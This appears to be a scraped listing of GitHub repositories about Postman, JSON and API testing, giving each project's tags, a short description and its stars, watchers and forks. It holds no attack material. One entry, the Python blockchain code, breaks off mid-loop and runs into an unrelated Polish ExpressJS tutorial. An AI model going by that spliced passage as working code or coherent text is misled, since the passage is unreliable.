neomarmedina/prueba_meta api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables |
Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env | 0 stars | 0 watchers | 0 forks |
nexdevch/SimplePostman form, http, https |
Simple Postman which performs http/https in c# | 0 stars | 0 watchers | 0 forks |
NeytChi/mini-message chat, document, http, https, message, mini, server, test, version |
Little server for little chat app. Postman: https://documenter.getpostman.com/view/5257392/S1a1aUAN?version=latest#f26b02f5-ca14-4139-a88e-b37d1e8c28cc | 0 stars | 0 watchers | 0 forks |
niallc95/PaymentAPI generate, http, payment, process |
Uses simplify to process http payment requests. Use postman to generate these requests | 0 stars | 0 watchers | 0 forks |
nicolashenschel/postmanAPITesting http, https, newman, package |
Playing with Postman (https://www.getpostman.com/) and newman (https://www.npmjs.com/package/newman) | 0 stars | 0 watchers | 0 forks |
olenalo/Module04 collection, collections, http, https |
Chess Game. Postman collection: https://www.getpostman.com/collections/a58c3174b389831b34a3 | 0 stars | 0 watchers | 0 forks |
olvfg/gerenciador-viagens assert, assurance, http, https, java, quality, test, util, utilizando |
https://medium.com/assertqualityassurance/como-construir-e-testar-uma-api-em-java-utilizando-o-postman-baae69d8b8aa | 0 stars | 0 watchers | 0 forks |
ovnicraft/django-postman bitbucket, bucket, django, fork, http, https |
My own fork from https://bitbucket.org/psam/django-postman/overview | 0 stars | 0 watchers | 0 forks |
paigemoody/postman-paths http, path, test, unit, web app |
Shortest path web app for community organizers. Live at: http://www.weavewalk.me | 0 stars | 0 watchers | 0 forks |
PitonVia/Postman_httpbin http, integration |
Postman Collection + Enviroment for integration with Jenkins | 0 stars | 0 watchers | 0 forks |
pixelwhip/postman-slide-deck http |
Slides from Building Confidence in APIs with Postman: http://drupalcon2018-postman.surge.sh/ | 0 stars | 0 watchers | 0 forks |
pnowosie/elixir-omg-postman collection, collections, github, http, https, play, spec, specs |
Postman collections with [elixir-omg API](https://github.com/omisego/elixir-omg/) specs to easy getting play with | 0 stars | 0 watchers | 0 forks |
rajasekhar15/https-github.com-commercetools-commercetools-postman-api-examples commerce, commercetools, example, examples, github, http, https, tool, tools |
CommerceTools | 0 stars | 0 watchers | 0 forks |
Raremaa/postmanToApiHtml blog, blogs, html, http, https, java, logs |
一个基于postman的java小工具,用于将postman导出的v1文档转换为html文档(本人仅负责整合,原创者地址:https://www.cnblogs.com/XiOrang/p/5652875.html,https://www.cnblogs.com/xsnd/p/8708817.html) | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
romanshutsman/server-upload-download client, download, http, https, server, test, upload |
You can test it in POSTMAN or download client for this app https://git.io/vhaiL ! | 0 stars | 0 watchers | 0 forks |
RustamKarimov1/http http |
postman | 0 stars | 0 watchers | 0 forks |
ryderharsh/First_Django development, http |
First Django development work done by with the help of postman extention for POST Command in http. | 0 stars | 0 watchers | 0 forks |
samuelgedaly/RESTfulAPI_Ruby data, database, following, host, http, local, send |
Completed RESTful API using PostgreSQL database, you should be able to Create, Read, Uptade and Delete (CRUD) a Cause. I used Postman to send the different http requests with the following url: http://localhost:3000/api/v1/causes. | 0 stars | 0 watchers | 0 forks |
sandeep89/stromtrooper collection, collections, depict, http, https, mock, postman collection, postman collections, server, twitter, wiki, wikipedia |
A mock server to depict usage of postman collections for mocking twitter api responses. (Name=>https://en.wikipedia.org/wiki/Stormtrooper_(Star_Wars)) | 0 stars | 0 watchers | 0 forks |
sandofsuro/react-web-dgt host, http, local, react |
postman格式:http://localhost:9000/api/buildBundle?buildType=build&id=123 | 0 stars | 0 watchers | 0 forks |
senturio/django-postman bitbucket, bucket, clone, django, http, https |
Git clone of Mercurial repo at https://bitbucket.org/psam/django-postman | 0 stars | 0 watchers | 0 forks |
SerhiiY/food-delivery-server-goit branch, course, data, database, express, http, list, module, node, product, products, queries, server, server., task, test, tested, user |
A course task with using node.js server. All queries were tested by Postman. App can give products list or user by id and write a new product or user to the database. On master branch used http module, on express-hw branch express.js is used. | 0 stars | 0 watchers | 0 forks |
snangia/Postman-API_Tests branch, http, service, site |
http://ab-branch.staging.acml.com/sites/api_service/Fund/GetFeeAndExpenses?countryCode=US&fundIsinOrLocalId=01878H778:3119 | 0 stars | 0 watchers | 0 forks |
ssebs/gostman client, golang, http, lang |
golang POSTman (http client) | 0 stars | 0 watchers | 0 forks |
Stone1Lin/httpbin_postman-tests http, test, tests |
postman_test | 0 stars | 0 watchers | 0 forks |
TahsinAnwarAkif/RESTful-In-Peace-Server front end, github, http, https, server |
A Hospital Management CRUD Project Developed with Spring Boot, MySQL, Maven, Postman & AngularJS (for front end in the same server). Client Code with Angular can be found in: https://github.com/TahsinAnwarAkif/RESTful-In-Peace-Client | 0 stars | 0 watchers | 0 forks |
testProjekten/medium-Tdd-Js-Swggr-Dckr agile, development, docker, drive, driven, github, http, https, jenkins, newman, swagger, test |
Implementing this post Project https://medium.com/nycdev/agile-and-test-driven-development-tdd-with-swagger-docker-github-postman-newman-and-jenkins-347bd11d5069 | 0 stars | 0 watchers | 0 forks |
TinaHeiligers/command_line_http command, http, place, replace |
Scripts to replace postman work | 0 stars | 0 watchers | 0 forks |
vandana28/Microservices-quick-start connection, experiment, http, service, services |
experimented with various http requests and validated the connections using Postman | 0 stars | 0 watchers | 0 forks |
ViorelBanu/httpbin-postman-tests http, test, tests |
This is your first repository | 0 stars | 0 watchers | 0 forks |
worldisnoposition/elasticsearch-- elastic, elasticsearch, http, search |
elasticsearch的http形式的语句,以postman文件形式存储的 | 0 stars | 0 watchers | 0 forks |
WPPlugins/postman-gmail-extension extension, http, https, mail, mirror, plugin, release, test, wordpress |
This is a mirror of the svn repo: https://plugins.svn.wordpress.org/postman-gmail-extension/, the master is always the latest release. | 0 stars | 0 watchers | 0 forks |
WPPlugins/postman-smtp http, https, mirror, plugin, release, smtp, test, wordpress |
This is a mirror of the svn repo: https://plugins.svn.wordpress.org/postman-smtp/, the master is always the latest release. | 0 stars | 0 watchers | 0 forks |
WPPlugins/postman-widget http, https, mirror, plugin, release, test, wordpress |
This is a mirror of the svn repo: https://plugins.svn.wordpress.org/postman-widget/, the master is always the latest release. | 0 stars | 0 watchers | 0 forks |
wwbbrr/postman-node-shopping-list http, list, node, play, playing, shopping |
playing around with http.createServer and REST | 0 stars | 0 watchers | 0 forks |
x0st/java-http-postman client, http, java |
One more http client in Java. | 0 stars | 0 watchers | 0 forks |
xuyongcai/config-repo boot, config, http, spring, springboot, webhook, webhooks |
微服务项目配置中心,对应springboot2.0,postman可以访问actuator/bus-refresh,webhooks不行,可以尝试下给config配置中心写一个方法,用http客户端调用 | 0 stars | 0 watchers | 0 forks |
mugennsou/postman2doc collection, html, json, markdown, postman collection |
Convert postman collection.json to markdown/html/docx. | 24 stars | 24 watchers | 5 forks |
kayie77/PyTestApiAuto json, pytest, python, test |
pytest+allure基于python的接口自动化集成框架:发送请求、数据自动采集(postman抓包的json数据)、全局配置、接口断言、日志记录、allure报告 | 16 stars | 16 watchers | 8 forks |
yuun/aws-apigateway-exporter export, exporter, exporting, extension, extensions, file, form, format, gateway, integration, json, script, swagger, yaml |
Python script for exporting an API Gateway stage to a swagger file, in yaml or json format, with Postman or API Gateway integrations extensions. | 8 stars | 8 watchers | 1 forks |
jnewmano/grpc-json-proxy grpc, json, newman, proxy, tool, tools |
gRPC Proxy for Postman like tools | 0 stars | 0 watchers | 17 forks |
Mr-yun/django_autoTests django, json |
根据postman到处json文件,生成基本的白盒测试代码,节约时间,提高效率 | 5 stars | 5 watchers | 0 forks |
xyyxhcj/vpi data, import, json, reference, struct, structure, test |
接口管理系统(支持JSON导入,引用数据结构,接口测试) api management with json import, reference data structure, test | 0 stars | 0 watchers | 6 forks |
normand1/FlightRecorder collection, collections, data, json, light, mock, order, postman collection, postman collections |
Update mock data json responses from your APIs using postman collections | 2 stars | 2 watchers | 0 forks |
hahnlee/stamped json |
Swagger.json to Postman.json cli | 2 stars | 2 watchers | 0 forks |
ambertests/charles_to_postman charles, convert, converting, file, json, output, proxy, test, tests |
Script for converting Charlesproxy output to a Postman json file | 0 stars | 0 watchers | 4 forks |
EickeOe/yapi-plugin-export-postman-json description, export, json, plugin, script |
No description available. | 1 stars | 1 watchers | 1 forks |
mmsrgit/spring-security-db auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user |
This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML | 1 stars | 1 watchers | 1 forks |
lucklrj/Postman2SwaggerComment json, swagger |
将postman导出的json数据转换为swagger的注释文档 | 1 stars | 1 watchers | 1 forks |
yuuvis/Postman collection, file, json, meta, sample |
This is the yuuvis® Ultimate Postman collection incl. a sample metaData.json file | 1 stars | 1 watchers | 1 forks |
AnilDeshpande/todolistpostmancollection collection, file, files, import, imported, json, list, service, services, test, todo |
Just contains POSTMAN collection json files which can be imported by the people who want to use this to test the web services | 0 stars | 0 watchers | 3 forks |
ubaid-me/soapui2postman chrome, export, form, format, google, http, https, json, soap, soapui, source, store |
Converts SoapUI (https://www.soapui.org/) XML export to Postman (https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop?utm_source=chrome-ntp-icon) compatible json format. | 1 stars | 1 watchers | 0 forks |
tagomaru/burp-extension-postman-integration burp, collection, extension, file, generate, integration, json |
Postman Integration is an extension for burp to generate Postman collection fomat json file. | 0 stars | 0 watchers | 2 forks |
Alloy-Girls/YangHuiLi-express-json-postman description, express, json, script |
No description available. | 0 stars | 0 watchers | 2 forks |
YKKKY/yaoyi-postman-express-json description, express, json, script |
No description available. | 0 stars | 0 watchers | 2 forks |
beckjin/CSharpFunToPostmanJson json |
将C#方法提取成Postman可以识别的json文件,方便接口测试 | 1 stars | 1 watchers | 0 forks |
MayMP/NodeJsExpressMongoDB center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit |
This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. | 1 stars | 1 watchers | 0 forks |
miguelfreitas93/wsdl2postman form, format, json, wsdl |
Converter of WSDL format (URLs) to Postman format (.json) v2.1 | 1 stars | 1 watchers | 0 forks |
pedroSG94/lazy-api-rest collection, export, exported, generate, json, module, postman collection, rest |
Python project to generate a API rest module for Android using a json exported from postman collection | 1 stars | 1 watchers | 0 forks |
zhangmazi/json2swagger3-php json, swagger |
Postman的Request和Response结构转Swagger3-PHP(OPENAPI3)工具 | 1 stars | 1 watchers | 0 forks |
asmoker/btrackers-postman fetch, json, list, server, smoke, track, tracker |
btrackers-postman - BitTorrent Trackers Postman, fetch BitTorrent Trackers URL list from ngosang/trackerslist and post to your aria2 server via jsonrpc. | 0 stars | 0 watchers | 2 forks |
spenceclark/newman-reporter-json-summary json, mini, minimum, newman, report, reporter, result, summary |
A Newman JSON Reporter that strips the results down to a minimum | 0 stars | 0 watchers | 2 forks |
ashwanikumar04/postman-collections-scripts collection, collections, json, script, scripts, segregated |
This shows the usage to update segregated scripts from collections json and then merge them using gulp | 0 stars | 0 watchers | 1 forks |
Alloy-Girls/chenqiuling-express-json-postman description, express, json, script |
No description available. | 0 stars | 0 watchers | 1 forks |
Alloy-Girls/DouQing-express-json-postman description, express, json, script |
No description available. | 0 stars | 0 watchers | 1 forks |
Alloy-Girls/QiuMin-express-json-postman description, express, json, script |
No description available. | 0 stars | 0 watchers | 1 forks |
Alloy-Girls/zhaoTongTong-express-json-postman description, express, json, script |
No description available. | 0 stars | 0 watchers | 1 forks |
Alloy-Girls/ZhouXiaoWen-express-json-postman description, express, json, script |
No description available. | 0 stars | 0 watchers | 1 forks |
Alloy-Girls/ZouZiqin-postman-express-json description, express, json, script |
No description available. | 0 stars | 0 watchers | 1 forks |
Mipside/ServletsTask_Part1 file, files, json, task, test, testing |
Servlets task with CRUD Operations, json files that are testing via Postman | 0 stars | 0 watchers | 1 forks |
AlexNDRmac/postman_asserts api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation |
Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) | 0 stars | 0 watchers | 1 forks |
madhairsilence/postmantodoc json, todo |
Convert your POSTMAN json to Readable Documentation | 0 stars | 0 watchers | 1 forks |
nhipham65/UI_API_Automation_Test automat, automation, http, https, json, place, placeholder, rest, site |
Complete UI (Katalon) and API (Postman) automation site: UI - http://demo.prestashop.com; API - https://jsonplaceholder.typicode.com/ | 0 stars | 0 watchers | 1 forks |
udartsev/LaravelPostmanExport collection, file, json, package, route, routes |
Laravel 5.8+ package to create Postman_collection.json file with Laravel routes | 0 stars | 0 watchers | 1 forks |
zeroc0d3/json-postman json, zero |
JSON (JavaScript Object Notation) Automation Test Case via Postman | 0 stars | 0 watchers | 1 forks |
FachrulCH/rest-api-test-postman-newman json, mock, newman, rest, server, test |
Test REST API using postman/newman against mock server made by json-server | 0 stars | 0 watchers | 0 forks |
heykarthikwithu/jsonapi-sample collection, json, jsonapi, sample, samples |
Postman collection of jsonapi samples | 0 stars | 0 watchers | 0 forks |
johannescarlen/grails-simple-app auth, authentication, class, grails, json, play, playaround, rails, test, testing |
A playaround with Grails. Creating a REST post and get with basic authentication. Also some simple domain class scaffolding. Import the postman.json into Postman for API testing. | 0 stars | 0 watchers | 0 forks |
thneeb/swagger2postman collection, file, generate, generated, json, node, nodejs, postman collection, spec, swagger, swagger2, test, testing, tool |
This little nodejs tool gets a swagger.json on the one hand and generated a postman collection file for testing the specified api on the other hand. | 0 stars | 0 watchers | 0 forks |
achu1998/car-rental-management collection, file, files, front end, heroku, host, json, local, mongo, mongod, mongodb, node, postman collection |
A Car-Rental-Management developed on node and mongodb and deployed in heroku. The postman collection is in postman-collection.json file. Add car page doesn't have front end . Car are manually added through the body which is clearly mentioned in the README.md file. This repository has the files implemented in localhost.Visit this repo: | 0 stars | 0 watchers | 0 forks |
aspirantll/auto-generate-postman-json description, generate, json, script |
No description available. | 0 stars | 0 watchers | 0 forks |
bearflying/BaceBook.postman_collection.json collection, description, json, script |
No description available. | 0 stars | 0 watchers | 0 forks |
chandana395/TestSuite1.postman_collection.json collection, description, json, script |
No description available. | 0 stars | 0 watchers | 0 forks |
dedeng/GET-CiscoDevNet-dnac-samples-aradford-master-tools-postman-DNAC-Sandbox.postman_environment.json-HT description, environment, json, sample, samples, script, tool, tools |
No description available. | 0 stars | 0 watchers | 0 forks |
dounine/postman-json description, json, script |
No description available. | 0 stars | 0 watchers | 0 forks |
joneldiablo/ermjson-to-postmanjson description, json, postmanjson, script |
No description available. | 0 stars | 0 watchers | 0 forks |
marykayrima/Postmann_Jsonplaceholder_testing http, https, json, place, placeholder, test, testing, todo |
https://jsonplaceholder.typicode.com/todos/ | 0 stars | 0 watchers | 0 forks |
raghwendra-sonu/APIDataDriverTestingWithPostman data, drive, driven, file, files, friend, http, https, json, link, river, source, test, testing |
https://medium.com/@Raghwendra.sonu/data-driven-testing-with-postman-using-csv-and-json-files-c4f112015eb3?source=friends_link&sk=d0e70700ef7d717ecb4c86dded9552ef | 0 stars | 0 watchers | 0 forks |
rishithm/https-github.com-salesforce-marketingcloud-postman-blob-master-SFMC.json.postman_collection cloud, collection, description, github, http, https, json, salesforce, script |
No description available. | 0 stars | 0 watchers | 0 forks |
ritika-shakwar/JsonData data, json, test, testing |
created json data for testing postman | 0 stars | 0 watchers | 0 forks |
RMUSMAN/laravel-simple-restful-api-crud crud, json, laravel, rest, restful, test, tested, validation |
simple restful api crud in laravel tested in postman. validation response in json. | 0 stars | 0 watchers | 0 forks |
vmwarecode/vVelocloud-Collection.v1.0.postman_collection.json cloud, collection, description, json, script, vmware |
No description available. | 0 stars | 0 watchers | 0 forks |
xiaopangzhu/postman-json description, json, script |
No description available. | 0 stars | 0 watchers | 0 forks |
accubits/json2md file, form, format, json |
Converting Postman JSON to MD file format. | 0 stars | 0 watchers | 0 forks |
Aizaz299/Get-and-post course, json, middleware, understanding |
Simple code for the understanding of the get and post requests. I used json middleware. I creating new course as well by using post request through postman. | 0 stars | 0 watchers | 0 forks |
akashbanginwar/Build-RESTful-API chrome, data, json, store |
Using NodeJS, ExpressJS, MongoDB to store json data, Postman chrome-extenstion | 0 stars | 0 watchers | 0 forks |
AntonKtrue/rest-json2doc document, json, office, rest, rest api |
Converter for postman json rest api to office document | 0 stars | 0 watchers | 0 forks |
AnuradhaTrivedi/API-ASSIGNMENT assignment, fectch, file, json, tool |
In this assignment fectch the json value for flower,Cake and Plants in view.php file and hit the url on Postman tool | 0 stars | 0 watchers | 0 forks |
BijivemulaPraveenReddy/nodejs-REST_API array, json, learn, node, nodejs |
Here we are going to learn how to GET,POST,UPDATE,DELETE an json array using POSTMAN | 0 stars | 0 watchers | 0 forks |
bobkrstic/React_RestAPI book, books, file, instruction, json, library, local, rating, route, routes, server, store, stored, struct, test, tested |
CRUD with React.js and local JSON-Server. Adding books to the library with titles and ratings. Data is stored on a local json server and routes tested with Postman. Check README file for instructions on how to start the app. | 0 stars | 0 watchers | 0 forks |
catpeter/rap2service json, service, swagger |
1.swagger/postman转格式,存入rap2数据库 rap2格式转为swagger json | 0 stars | 0 watchers | 0 forks |
cncal/parrot apidoc, automat, automatic, automatically, export, exported, file, generate, json, parse, tool |
A tool used to parse json file exported from Postman and generate apidoc automatically. | 0 stars | 0 watchers | 0 forks |
ColleenWoolsey/food-api-with-json-and-postman json |
Book 3 - Chapter 9 - Building and using an API | 0 stars | 0 watchers | 0 forks |
crisplaver/postman-document-generator collection, document, file, generate, generator, html, json |
generate postman html page using collection v2.1 json file | 0 stars | 0 watchers | 0 forks |
daise18/ProjetoSpring banco, boot, conceitos, controller, entity, java, json, rest, spring, spring boot, test, util, utilizando |
Projeto java com spring boot, spring jpa, utilizando conceitos de microsserviços/apis, banco de dados, json, anotação, repository, entity, rest controllers, testes manuais via postman., | 0 stars | 0 watchers | 0 forks |
DerekPlattDemo/LibraryRoom included, json, solution |
Demo api built with .Net Core, see included Postman.json in solution for demo responses | 0 stars | 0 watchers | 0 forks |
DerekPlattDemo/RoomTracker included, json, solution |
Demo API built with .Net Core, see included Postman.json in solution for demo responses | 0 stars | 0 watchers | 0 forks |
DivyaDeenan/Node.js-API-JWT-Auth json, jsonwebtoken, protecting, route, token |
Simple Node.js Authentication API for protecting post route using JWT(jsonwebtoken). Tested using Postman | 0 stars | 0 watchers | 0 forks |
figtony/005-postmantest json, postmantest, test |
005 postmantest using json to xml | 0 stars | 0 watchers | 0 forks |
galaxybing/rap2service json, service, swagger |
postman/swagger change to rap2 把postman/swagger的json文件导入到rap2中 | 0 stars | 0 watchers | 0 forks |
githubnischal07/json-server-prac github, json, server |
using postman | 0 stars | 0 watchers | 0 forks |
gloryer/jsonwebtoken access, auth, authenticate, authenticates, authentication, back end, client, endpoint, exposes, form, format, http, information, issue, json, jsonwebtoken, registration, resource, send, server, server., source, test, tested, token, user, verify |
A demo back end server exposes user registration endpoint, user authentication endpoint, token endpoint and resource endpoint. The resource endpoint is protected by the JWT token. Only the client who possesses the valid token can access the resource. To get a token from the server, the client must authenticates itself to the server. To request the resource in the server, the client issue an http GET request to the resource endpoint, the server will verify the recieved jwt token. Once the token is valid, the server will send back the user information which indicated in the jwt token. Front-end has not been implemented so far. The back-end is tested using Postman. | 0 stars | 0 watchers | 0 forks |
graymind75/Postman_Api_Export_To_Html convert, export, json, ugly |
convert json export of postman Api Requests to a ugly simple Html page | 0 stars | 0 watchers | 0 forks |
Gyanachand1/Blockchain action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user |
# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
hefvcjm/postman json, python |
用python生成postman的json文件,将该文件导入postman可以运行 | 0 stars | 0 watchers | 0 forks |
hqq518/Apitest application, form, json, rest, restful, test |
基于HTML5、Angularjs、Ajax创建的一个用于测试restful api的页面,有点类似postman的功能,支持POST、GET、PUT、DELETE方法,支持添加请求参数、支持添加请求头,支持application/x-www-form-urlencoded和application/json编码格式,支持将历史请求记录保存到本地存储。 | 0 stars | 0 watchers | 0 forks |
johnmogi/express_apps_json apps, express, json |
postman practice | 0 stars | 0 watchers | 0 forks |
jsnyder81/ArubaCentral_Postman_Collection collection, file, files, json |
A collection of APIs from the Aruba Central Swagger json files | 0 stars | 0 watchers | 0 forks |
june97y/training001_mission002 application, content, endpoint, endpoints, json, training, type, verify |
Create CRUD endpoints that return in content type "application/json", verify the CRUD endpoints using Postman. | 0 stars | 0 watchers | 0 forks |
KevCui/varman file, generate, guardsman, human, json, newman, readable, script, variable, yaml |
:guardsman: A script to generate postman/newman global variable json from human readable yaml file | 0 stars | 0 watchers | 0 forks |
ktdixon2/postman-json- json |
Initial exposure to JSON | 0 stars | 0 watchers | 0 forks |
LennartCockx/postman-generic-json-visualize beta, display, generic, json, play, script, util, utilizes, visual, visualization |
A script which utilizes the (beta) visualization option from postman to display any json response in a more visual manner | 0 stars | 0 watchers | 0 forks |
leskivan/rest-crud-showcase case, collection, crud, json, postman collection, rest, server, showcase |
simple REST crud with json server and postman collection | 0 stars | 0 watchers | 0 forks |
lt176762674/postman- json, test |
根据json生成test脚本的小脚本 | 0 stars | 0 watchers | 0 forks |
lucasjellema/workshop-api-rest-json-Node-JS basics, design, designed, implementation, json, rest, workshop |
Two to three day workshop on REST API and JSON, HTTP basics, Node and Server Side JavaScript and the implementation of a self-designed API. Tools used incude Google Chrome, Postman, Visual Studio Code, Apiary.io and Node | 0 stars | 0 watchers | 0 forks |
martinproxy0/Zadanie_17_5 action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars |
17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, 